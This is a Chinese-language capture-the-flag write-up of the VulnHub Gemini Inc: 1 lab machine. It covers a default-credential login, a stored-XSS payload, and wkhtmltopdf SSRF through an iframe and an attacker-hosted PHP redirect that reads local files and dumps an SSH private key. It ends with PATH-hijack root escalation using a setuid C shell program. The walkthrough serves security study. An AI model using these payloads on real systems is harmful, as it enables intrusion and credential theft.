VulnHub-Gemini Inc: 1

发布时间 2023-05-31 20:08:04作者: HKalpa

靶机地址:https://www.vulnhub.com/entry/gemini-inc-1,227/

目标:Identify any vulnerabilities possible with the goal of complete system compromise with root privilege.To demonstrate the level of access obtained, please provide the content of flag.txt located in the root directory as proof.

参考链接:https://pentestmag.com/write-up-for-gemini-inc-1/

0x00 主机发现/端口扫描

发现靶机ip地址为192.168.0.113

arp-scan -l

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:51:7e:3f, IPv4: 192.168.0.2
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1     00:50:56:c0:00:08       VMware, Inc.
192.168.0.1     00:50:56:f3:b5:59       VMware, Inc. (DUP: 2)
192.168.0.113   00:0c:29:4b:04:8e       VMware, Inc.
192.168.0.128   00:50:56:f5:b6:94       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.936 seconds (132.23 hosts/sec). 3 responded

使用nmap进行端口和服务的发现

nmap -sV -sC -p- 192.168.0.113

┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 192.168.0.113
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 15:54 CST
Nmap scan report for 192.168.0.113
Host is up (0.0034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
|   2048 e9e389b63beae413c8ac3844d6eac0e4 (RSA)
|   256 8c1977fd36727e3446c4292d2aac1598 (ECDSA)
|_ 256 cc2b4cced76173d7d87e245674549988 (ED25519)
80/tcp open http   Apache httpd 2.4.25
| http-ls: Volume /
| SIZE TIME             FILENAME
| -     2018-01-07 08:35 test2/
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:4B:04:8E (VMware)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.26 seconds

0x01 信息收集

经过对开放端口和服务的扫描,发现只开放了22端口和80端口,访问80端口的http服务发现如下页面

然后在test2目录下发现了一个Web应用页面,还给出了该项目的github链接

通过网页介绍知道这是一个可以将用户配置信息和其它内容转换成PDF的应用。

0x02 开源项目信息泄漏

通过查看该项目托管在github上的代码,在https://github.com/mihai-vlc/master-login-system/blob/master/install.php页面的149行找到默认的账号和密码。

然后利用获取到的默认口令登录,登录进来后可以看到多了一个admin的按钮

  • 用户名:admin

  • 密码:1234

0x03 存储型XSS漏洞

注:中途切浏览器。Kali自带的火狐很卡,使用微软自带的Edge浏览器。

点击admin进去后可以编辑用户的个人信息

然后在display name的位置发现存储型的XSS。

<script>alert(0);</script>

弹窗数字0

0x04 服务端组件存在的SSRF漏洞

点击右上角的zprofile尝试把用户的个人信息导出成PDF

在导出的PDF文件中,查看到了该组件的名称以及版本(wkhtmltopdf 0.12.4)

搜索该组件漏洞,发现存在一个SSRF漏洞

该组件SSRF漏洞利用参考文章:https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/

通过阅读上面这篇文章可知,如果可以在该页面插入一个iframe标签,就可以通过转PDF的操作触发SSRF漏洞,从而实现读取一些远程文件或者本地文件的操作。

0x05 LFI漏洞

<iframe src="file:///etc/passwd"></iframe>

经过尝试发现并没有成功读取到本地文件的内容

接下来尝试读取远程文件的内容。

先在Kali起一个Web服务,根目录下创建一个名为test.txt的文件,内容是SSRF

python -m http.server 8888

┌──(root㉿kali)-[~]
└─# cat test.txt
SSRF

┌──(root㉿kali)-[~]
└─# python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

插入构造的远程文件读取语句

<iframe src="http://192.168.0.2:8888/test.txt"></iframe>

发现触发SSRF后成功实现远程文件读取

搜索关于该组件漏洞利用的文章,得知利用该组件漏洞读取本地文件的方法:http://hassankhanyusufzai.com/SSRF-to-LFI/

具体的实现思路:

  1. 在攻击者自己的Web服务器上放置一段PHP的攻击代码。

  2. 通过靶机Web服务组件wkhtmltopdf的漏洞,解析攻击者在用户信息编辑页面插入的src源链接,加载攻击者的恶意PHP代码,并将代码读取到靶机的应用当中,然后这段代码就会在靶机的服务器组件渲染PDF的时候去执行,实现读取靶机本地文件内容的效果。

  3. 读取到的内容通过渲染得到的PDF回显给攻击者,从而成功的达到读取靶机本地文件的目的。

所以,需要在自己的服务器Web根目录下创建一个包含以下内容的 PHP 文件:

注:需要攻击者服务器使用PHP启用Web服务,Python启用Web服务会下载构造的PHP文件不会读取靶机文件。

PHP启用Web服务命令:

┌──(root㉿kali)-[~]
└─# php -S 192.168.0.2:80
PHP 5.5.38 Development Server started at Wed May 31 17:22:32 2023
Listening on http://192.168.0.2:80
Document root is /root
Press Ctrl-C to quit.
┌──(root㉿kali)-[~]
└─# cat exp.php
<?php header('location:file://'.$_REQUEST['url']); ?>

然后在个人信息编辑页面插入以下payload

<iframe height="2000" width="800" src=http://192.168.0.2/exp.php?url=/etc/passwd></iframe>

保存后执行导出为PDF的操作,触发该组件漏洞执行,成功读取到靶机上/etc/passwd文件的内容。

读取其它文件的也是相同的步骤,只需要改URL参数后面指定的文件名即可。

至此已经成功利用该组件的SSRF漏洞读取到了本地文件。

0x06 SSH公钥认证

知识补充:通过私钥文件实现无密码登录目标Linux服务器的原理

基础概念:authorized_keys 文件是 SSH 协议中用来存储认证公钥的文件,通常存储在用户的 home 目录下的 .ssh 子目录中。当使用 SSH 密钥对进行远程登录时,authorized_keys 文件中储存了可以通过验证成功登录到该账户的公钥。每个公钥占据文件中的一行,多个公钥可以保存在同一个文件中。

  • 利用SSH公钥认证实现无密码登录目标服务器的过程:

    1. 首先,在客户端可以生成一个密钥对,包括一份公钥和一份私钥。私钥需要保存在客户端上,而公钥则会被复制到另外一台计算机上,如远程服务器。

    2. 接下来,在客户端上使用ssh-keygen工具生成SSH密钥对,并保存私钥到客户端,同时将公钥拷贝到目标服务器上,即远程服务器的 authorized_keys 文件中,我们可以使用 ssh-copy-id 命令自动复制。

    3. 当客户端使用密钥登录时,客户端会向远程服务器发送一个请求,该请求包括客户端的公钥信息。如果服务器上的 authorized_keys 文件中存在该公钥,则会向客户端发送一份随机数据(这份数据以公钥加密方式进行),要求客户端用私钥进行解密处理并返回。

    4. 如果私钥匹配公钥,则客户端可以成功解密该数据,并将其发送回服务器进行确认。服务器根据解密后的数据与客户端保存在 authorized_keys 文件中的公钥进行核对,如果能够匹配,则登录成功;否则,登录失败。

  • 使用服务器私钥登录服务器的过程如下:

    1. 生成服务器端的公钥和私钥:在服务器上运行 ssh-keygen 命令生成服务器端的公私钥,一般保存在 ~/.ssh/id_rsa 和 ~/.ssh/id_rsa.pub。

    2. 将服务器端的公钥添加到客户端的授权文件中:将服务器端的公钥内容添加到客户端的授权文件 ~/.ssh/authorized_keys 中。

    3. 在客户端建立 SSH 连接并登录:在客户端上打开终端,输入 ssh -i /path/to/privatekey username@hostname,其中 /path/to/privatekey 是服务器端的私钥路径,username 是服务器上的用户账户名,hostname 是服务器的 IP 地址或域名。如果您已经正确配置了服务器端的公私钥,系统会自动识别您的私钥并与服务器上的公钥进行匹配,在匹配成功后就可以登录服务器了。

读取到的/etc/passwd文件中发现了一个可以通过ssh登录的用户gemini1,但是不知道该用户的密码。

尝试读取该用户的/home/gemini1/.ssh/id_rsa文件(私钥文件)

<iframe height="2000" width="800" src=http://192.168.0.2/exp.php?url=/home/gemini1/.ssh/id_rsa></iframe>
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs
6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u
Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V
u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z
DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p
oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY
WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD
eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM
QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ
rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR
MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn
1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI
xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC
1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY
AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl
aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu
968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9
r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco
tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7
WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp
U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk
SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h
JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh
vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt
j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=
-----END RSA PRIVATE KEY-----

接着尝试读取该用户的公钥文件(rsa_pub)和authorized_keys文件的内容发现,公钥文件与authorized_keys文件中内容一致,且该文件中存的允许登录的用户就是gemini1,所以在Kali的家目录下保存该用户的私钥文件就可以实现免密登录。

vi id_rsa

chmod 400 id_rsa

ssh -i id_rsa gemini1@192.168.0.113

┌──(root㉿kali)-[~]
└─# vi id_rsa

┌──(root㉿kali)-[~]
└─# chmod 400 id_rsa

┌──(root㉿kali)-[~]
└─# ssh -i id_rsa gemini1@192.168.0.113
The authenticity of host '192.168.0.113 (192.168.0.113)' can't be established.
ED25519 key fingerprint is SHA256:Dhg98/77GcBzvkymOg54pr2o2pddvxKpKYgWsMSSc6M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.113' (ED25519) to the list of known hosts.
Linux geminiinc 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan 9 08:04:52 2018 from 192.168.0.112
gemini1@geminiinc:~$

至此已经成功登录到gemini1用户,拿到了一个本地的普通用户的权限。

0x07 Linux环境变量提权

通过常规的信息搜集,发现内核提权和常规的sudo等提权手段都不可行,但是查找属于root账号且有suid权限的可执行文件的时候,发现了listinfo命令,感觉这个可能是用户自定义的一个命令,于是开始对其进行测试。

find / -user root -type f -perm -u+sx -ls 2>/dev/null

搜索文件系统中所有所有属于 root 用户,且有 SUID 或 SGID 标志的普通文件,并将其列表输出。

  • find:命令名称。

  • /:要搜索的根目录路径,表示从根目录开始搜索。

  • -user root:指定搜索条件为查找属于 root 用户的文件。

  • -type f:限制搜索结果为普通文件。

  • -perm -u+sx:指定搜索条件为查找权限设置了 SUID 或 SGID 标志的文件(即设置了 u+s 或 g+s)。

  • -ls:输出详细的文件信息列表,包括权限、大小、最后修改时间等。

  • 2>/dev/null:将错误输出重定向到 /dev/null 设备,以避免输出一些不必要的错误信息。

gemini1@geminiinc:~$ find / -user root -type f -perm -u+sx -ls 2>/dev/null
  673698     20 -rwsr-xr--   1 root     www-data   18504 Sep 19 2017 /usr/lib/apache2/suexec-pristine
  674033     20 -rwsr-xr--   1 root     www-data   18504 Sep 19 2017 /usr/lib/apache2/suexec-custom
1056414     16 -rwsr-xr-x   1 root     root       14856 May 24 2017 /usr/lib/policykit-1/polkit-agent-helper-1
1187478     44 -rwsr-xr--   1 root     messagebus   42992 Oct 1 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  790888     12 -rwsr-xr-x   1 root     root         10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
1188001   432 -rwsr-xr-x   1 root     root         440728 Nov 18 2017 /usr/lib/openssh/ssh-keysign
  679388   360 -rwsr-xr--   1 root     dip         365960 Nov 11 2016 /usr/sbin/pppd
  670633     24 -rwsr-xr-x   1 root     root         23352 May 24 2017 /usr/bin/pkexec
  655437     52 -rwsr-xr-x   1 root     root         50040 May 17 2017 /usr/bin/chfn
  269875     12 -rwsr-xr-x   1 root     root           8792 Jan 7 2018 /usr/bin/listinfo
  655440     76 -rwsr-xr-x   1 root     root         75792 May 17 2017 /usr/bin/gpasswd
  655438     40 -rwsr-xr-x   1 root     root         40504 May 17 2017 /usr/bin/chsh
  658302     40 -rwsr-xr-x   1 root     root         40312 May 17 2017 /usr/bin/newgrp
  655441     60 -rwsr-xr-x   1 root     root         59680 May 17 2017 /usr/bin/passwd
  680505   140 -rwsr-xr-x   1 root     root         140944 Jun 5 2017 /usr/bin/sudo
  917547     44 -rwsr-xr-x   1 root     root         44304 Mar 22 2017 /bin/mount
  917548     32 -rwsr-xr-x   1 root     root         31720 Mar 22 2017 /bin/umount
  917570     60 -rwsr-xr-x   1 root     root         61240 Nov 10 2016 /bin/ping
  917545     40 -rwsr-xr-x   1 root     root         40536 May 17 2017 /bin/su
  923459     32 -rwsr-xr-x   1 root     root         30800 Jun 23 2016 /bin/fusermount

可以看到listinfo是一个可执行文件

file /usr/bin/listinfo

gemini1@geminiinc:~$ file /usr/bin/listinfo
/usr/bin/listinfo: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0f284a2f4f3c967c78816592da20f223e4ae2f10, not stripped

查看listinfo命令帮助文档

/usr/bin/listinfo --help

gemini1@geminiinc:~$ /usr/bin/listinfo --help
displaying network information...           inet 192.168.0.113 netmask 255.255.255.0 broadcast 192.168.0.255
displaying network information...           inet6 fe80::20c:29ff:fe4b:48e prefixlen 64 scopeid 0x20<link>
displaying network information...           inet 127.0.0.1 netmask 255.0.0.0
displaying network information...           inet6 ::1 prefixlen 128 scopeid 0x10<host>

displaying Apache listening port...   tcp       0     0 0.0.0.0:22             0.0.0.0:*               LISTEN    

displaying Apache listening port...   tcp6       0     0 :::22                   :::*                   LISTEN    

displaying SSH listening port...   tcp6       0     0 :::80                   :::*                   LISTEN    

displaying current date...   Wed May 31 07:21:38 EDT 2023

这是一段关于网络信息和端口监听的输出,以及当前日期的显示。其中,每一行的具体含义如下:

  • 第一行:显示本机 IP 地址为 192.168.0.113,子网掩码为 255.255.255.0,广播地址为 192.168.0.255。

  • 第二行:显示本机的 IPv6 地址为 fe80::20c:29ff:fe4b:48e,子网前缀长度为 64,范围 ID 为 0x20(即连接)。

  • 第三行:显示本机回环地址为 127.0.0.1,子网掩码为 255.0.0.0。

  • 第四行:显示本机的 IPv6 回环地址为 ::1,子网前缀长度为 128,范围 ID 为 0x10(即主机)。

  • 第五行和第六行:分别显示 Apache Web 服务器监听的 TCP 端口 22(SSH)的 IPv4 和 IPv6 监听地址和端口。

  • 第七行:显示 SSH 服务器监听的 TCP 端口 80 的 IPv6 监听地址和端口。

  • 第八行:显示当前的日期和时间,格式为星期、月份、日期、时分秒、时区、年份。

使用strings命令可以查看该可执行程序中的一些可打印字符串

strings /usr/bin/listinfo

gemini1@geminiinc:~$ strings /usr/bin/listinfo
/lib64/ld-linux-x86-64.so.2
(J/O<
libc.so.6
popen
printf
fgets
pclose
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
=q      
5j      
=!      
AWAVA
AUATL
[]A\A]A^A_
/sbin/ifconfig | grep inet
/bin/netstat -tuln | grep 22
/bin/netstat -tuln | grep 80
date
displaying network information...    
displaying Apache listening port...    
displaying SSH listening port...    
displaying current date...    
;*3$"
GCC: (Debian 6.3.0-18) 6.3.0 20170516
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6963
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
testprogram.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
printf@@GLIBC_2.2.5
pclose@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
fgets@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
popen@@GLIBC_2.2.5
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

通过查找发现,该可执行程序的确是执行了分析的命令。

/sbin/ifconfig | grep inet /bin/netstat -tuln | grep 22 /bin/netstat -tuln | grep 80 date

前三条命令都写的绝对路径,但是第四条命令date却没有写路径,所以可以利用这一点实现Linux环境变量提权。

先在当前用户的目录下创建一个date.c文件

cd /home/gemini1

vi date.c

date.c是一个 C 语言程序,实现了切换用户身份为 root,并执行 /bin/bash 命令的功能。具体来说,程序中调用了 setuid 和 setgid 函数将程序的有效用户 ID 和有效组 ID 都设置为 0,即超级用户 root 的 ID,然后调用 system 函数执行 /bin/bash 命令,进入新的 shell 环境。date.c文件的内容如下:

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}

编译文件并命名编译后的文件名为date

gcc date.c -o date

知识补充:环境变量

系统命令所对应的可执行文件目录被设置成了环境变量,所以操作系统可以直接执行系统命令。查看系统的环境变量

echo $PATH

gemini1@geminiinc:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

由于系统命令都是放在这些系统路径里面的所以才不需要输入完整的路径就可以执行系统命令。

查看系统默认的date命令路径发现是放在/bin路径下,而/bin目录是在系统环境变量里面的,所以系统会在系统变量里面从前往后检索,从而在/bin目录下找到date这个可执行程序,从而成功执行date命令。

which date

gemini1@geminiinc:~$ which date
/bin/date

让系统先检索到构造的date命令即可提权,所以需要将当前目录添加到当前环境变量的头部。

export PATH=/home/gemini1:$PATH

echo $PATH

gemini1@geminiinc:~$ export PATH=/home/gemini1:$PATH
gemini1@geminiinc:~$ echo $PATH
/home/gemini1:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

此时构造的date文件的路径已经被放在环境变量的头部,然后执行listinfo触发执行date命令,执行的date命令为构造的恶意代码。

listinfo

gemini1@geminiinc:~$ listinfo
displaying network information...           inet 192.168.0.113 netmask 255.255.255.0 broadcast 192.168.0.255
displaying network information...           inet6 fe80::20c:29ff:fe4b:48e prefixlen 64 scopeid 0x20<link>
displaying network information...           inet 127.0.0.1 netmask 255.0.0.0
displaying network information...           inet6 ::1 prefixlen 128 scopeid 0x10<host>

displaying Apache listening port...   tcp       0     0 0.0.0.0:22             0.0.0.0:*               LISTEN    

displaying Apache listening port...   tcp6       0     0 :::22                   :::*                   LISTEN    

displaying SSH listening port...   tcp6       0     0 :::80                   :::*                   LISTEN    
root@geminiinc:~# id

displaying current date...   uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner),1000(gemini1)
root@geminiinc:~#

至此提权成功并获取到root权限。找到了唯一的flag,打靶结束。

whoami

cd /root/

ls -alh

cat flag.txt

root@geminiinc:~# whoami

displaying current date...   root
root@geminiinc:~# cd /root/
root@geminiinc:/root# ls -alh

displaying current date...   total 36K

displaying current date...   drwx------ 4 root root 4.0K Jan 7 2018 .

displaying current date...   drwxr-xr-x 23 root root 4.0K Jan 6 2018 ..

displaying current date...   -rw------- 1 root root 3.5K Jan 9 2018 .bash_history

displaying current date...   -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc

displaying current date...   drwx------ 2 root root 4.0K Jan 6 2018 .cache

displaying current date...   -rw-r--r-- 1 root root 389 Jan 7 2018 flag.txt

displaying current date...   -rw------- 1 root root 3.1K Jan 7 2018 .mysql_history

displaying current date...   drwxr-xr-x 2 root root 4.0K Jan 7 2018 .nano

displaying current date...   -rw-r--r-- 1 root root 148 Aug 17 2015 .profile
root@geminiinc:/root# cat flag.txt

displaying current date...   mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm

displaying current date...    

displaying current date...   Congratulations on solving this boot2root machine!

displaying current date...   Cheers!

displaying current date...             _.._..,_,_

displaying current date...           (         )

displaying current date...             ]~,"-.-~~[

displaying current date...           .=])' (; ([

displaying current date...           | ]:: '   [

displaying current date...           '=]): .) ([

displaying current date...             |:: '   |

displaying current date...             ~~----~~

displaying current date...   https://twitter.com/sec_9emin1

displaying current date...   https://scriptkidd1e.wordpress.com

displaying current date...    

displaying current date...   mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm

0x08 总结

这次打靶过程中,先是通过github上托管的代码找到了Web应用登录默认的账户密码成功实现了登录,接着在用户个人信息编辑页面发现了一个存储XSS漏洞,然后通过查看导出的PDF文件信息发现了该服务器组件版本信息,并通过浏览器搜索,找到该组件存在的SSRF漏洞,通过利用该服务器组件存在的SSRF漏洞,最终实现了本地文件读取,然后通过读取gemini1用户的rsa私钥,实现了无密码登录,获取到一个普通用户权限,最后利用了listinfo程序存在的问题,通过环境变量提权成功获取到了root权限。